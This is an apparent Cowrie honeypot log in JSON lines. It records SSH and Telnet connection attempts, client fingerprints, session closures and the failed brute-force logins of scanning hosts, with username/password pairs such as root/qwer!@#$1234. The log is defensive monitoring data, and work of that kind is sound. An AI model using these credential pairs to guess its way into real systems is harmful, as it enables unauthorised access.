{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:55.462392Z","src_ip":"209.90.232.249","session":"43b23ac80300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":60762,"dst_ip":"10.17.0.5","dst_port":22,"session":"edb147ebfb81","protocol":"ssh","message":"New connection: 8.210.75.243:60762 (10.17.0.5:22) [session: edb147ebfb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:58.126426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:54:58.139171Z","src_ip":"8.210.75.243","session":"edb147ebfb81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":33294,"dst_ip":"159.203.135.109","dst_port":23,"session":"0af0fd6e7854","protocol":"telnet","message":"New connection: 107.6.151.170:33294 (159.203.135.109:23) [session: 0af0fd6e7854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:03.194459Z"}
{"eventid":"cowrie.session.connect","src_ip":"138.124.69.150","src_port":42636,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca80637c6977","protocol":"ssh","message":"New connection: 138.124.69.150:42636 (10.17.0.5:22) [session: ca80637c6977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:05.768838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:05.773829Z","src_ip":"138.124.69.150","session":"ca80637c6977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:05.911271Z","src_ip":"138.124.69.150","session":"ca80637c6977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12qwaszx","message":"login attempt [ubuntu/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:06.470355Z","src_ip":"138.124.69.150","session":"ca80637c6977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:07.604335Z","src_ip":"138.124.69.150","session":"ca80637c6977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.6.204","src_port":35122,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2744d260087","protocol":"ssh","message":"New connection: 97.74.6.204:35122 (159.203.135.109:22) [session: b2744d260087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:11.159357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:11.166952Z","src_ip":"97.74.6.204","session":"b2744d260087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:11.233340Z","src_ip":"97.74.6.204","session":"b2744d260087","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@#$%^&*()!@","message":"login attempt [root/qwe@#$%^&*()!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:11.431804Z","src_ip":"97.74.6.204","session":"b2744d260087","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:12.500274Z","src_ip":"97.74.6.204","session":"b2744d260087","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:18.310779Z","src_ip":"8.210.75.243","session":"edb147ebfb81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:21.199002Z","src_ip":"8.210.75.243","session":"8fe1c615a62b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39406,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f20f9100332","protocol":"telnet","message":"New connection: 170.64.224.25:39406 (159.203.135.109:23) [session: 2f20f9100332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:25.793190Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.159.200","src_port":45098,"dst_ip":"159.203.135.109","dst_port":22,"session":"a782545fbadd","protocol":"ssh","message":"New connection: 162.214.159.200:45098 (159.203.135.109:22) [session: a782545fbadd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:33.365030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:33.368988Z","src_ip":"162.214.159.200","session":"a782545fbadd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:33.457278Z","src_ip":"162.214.159.200","session":"a782545fbadd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"snx","password":"snx123","message":"login attempt [snx/snx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:33.727860Z","src_ip":"162.214.159.200","session":"a782545fbadd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:34.819465Z","src_ip":"162.214.159.200","session":"a782545fbadd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.38897705078125,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:35.583295Z","src_ip":"107.6.151.170","session":"0af0fd6e7854","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":44506,"dst_ip":"10.17.0.5","dst_port":22,"session":"01e6ba0c26d3","protocol":"ssh","message":"New connection: 91.92.40.4:44506 (10.17.0.5:22) [session: 01e6ba0c26d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:37.719516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:37.723212Z","src_ip":"91.92.40.4","session":"01e6ba0c26d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:37.805589Z","src_ip":"91.92.40.4","session":"01e6ba0c26d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"test","message":"login attempt [git/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:38.051331Z","src_ip":"91.92.40.4","session":"01e6ba0c26d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":44150,"dst_ip":"10.17.0.5","dst_port":22,"session":"f071998a6743","protocol":"ssh","message":"New connection: 38.242.143.220:44150 (10.17.0.5:22) [session: f071998a6743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:38.535597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:38.539488Z","src_ip":"38.242.143.220","session":"f071998a6743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:38.630788Z","src_ip":"38.242.143.220","session":"f071998a6743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phemex","password":"phemex123","message":"login attempt [phemex/phemex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:38.920377Z","src_ip":"38.242.143.220","session":"f071998a6743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:39.135200Z","src_ip":"91.92.40.4","session":"01e6ba0c26d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:40.012124Z","src_ip":"38.242.143.220","session":"f071998a6743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":41118,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6d73f96b3d5","protocol":"ssh","message":"New connection: 45.143.200.246:41118 (10.17.0.5:22) [session: c6d73f96b3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:46.150721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:46.153382Z","src_ip":"45.143.200.246","session":"c6d73f96b3d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:46.254822Z","src_ip":"45.143.200.246","session":"c6d73f96b3d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer!@#$1234","message":"login attempt [root/qwer!@#$1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:46.696683Z","src_ip":"45.143.200.246","session":"c6d73f96b3d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:47.801814Z","src_ip":"45.143.200.246","session":"c6d73f96b3d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:50.852538Z","src_ip":"8.210.75.243","session":"edb147ebfb81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"54.3","message":"Connection lost after 54.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:55:52.418195Z","src_ip":"8.210.75.243","session":"edb147ebfb81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44636,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aee0966e125","protocol":"ssh","message":"New connection: 8.210.75.243:44636 (10.17.0.5:22) [session: 8aee0966e125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:00.681408Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":56730,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfecd5d63a0e","protocol":"ssh","message":"New connection: 8.210.75.243:56730 (10.17.0.5:22) [session: dfecd5d63a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:09.993800Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:11.542488Z","src_ip":"8.210.75.243","session":"a9919bff0fa8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:17.188030Z","src_ip":"8.210.75.243","session":"dfecd5d63a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":40598,"dst_ip":"10.17.0.5","dst_port":22,"session":"079b46a08781","protocol":"ssh","message":"New connection: 8.210.75.243:40598 (10.17.0.5:22) [session: 079b46a08781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:37.039104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:37.043492Z","src_ip":"8.210.75.243","session":"079b46a08781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":57330,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8d18b92df5c","protocol":"ssh","message":"New connection: 196.196.150.5:57330 (10.17.0.5:22) [session: f8d18b92df5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:43.721121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T07:56:43.724650Z","src_ip":"196.196.150.5","session":"f8d18b92df5c","protocol":"ssh"}
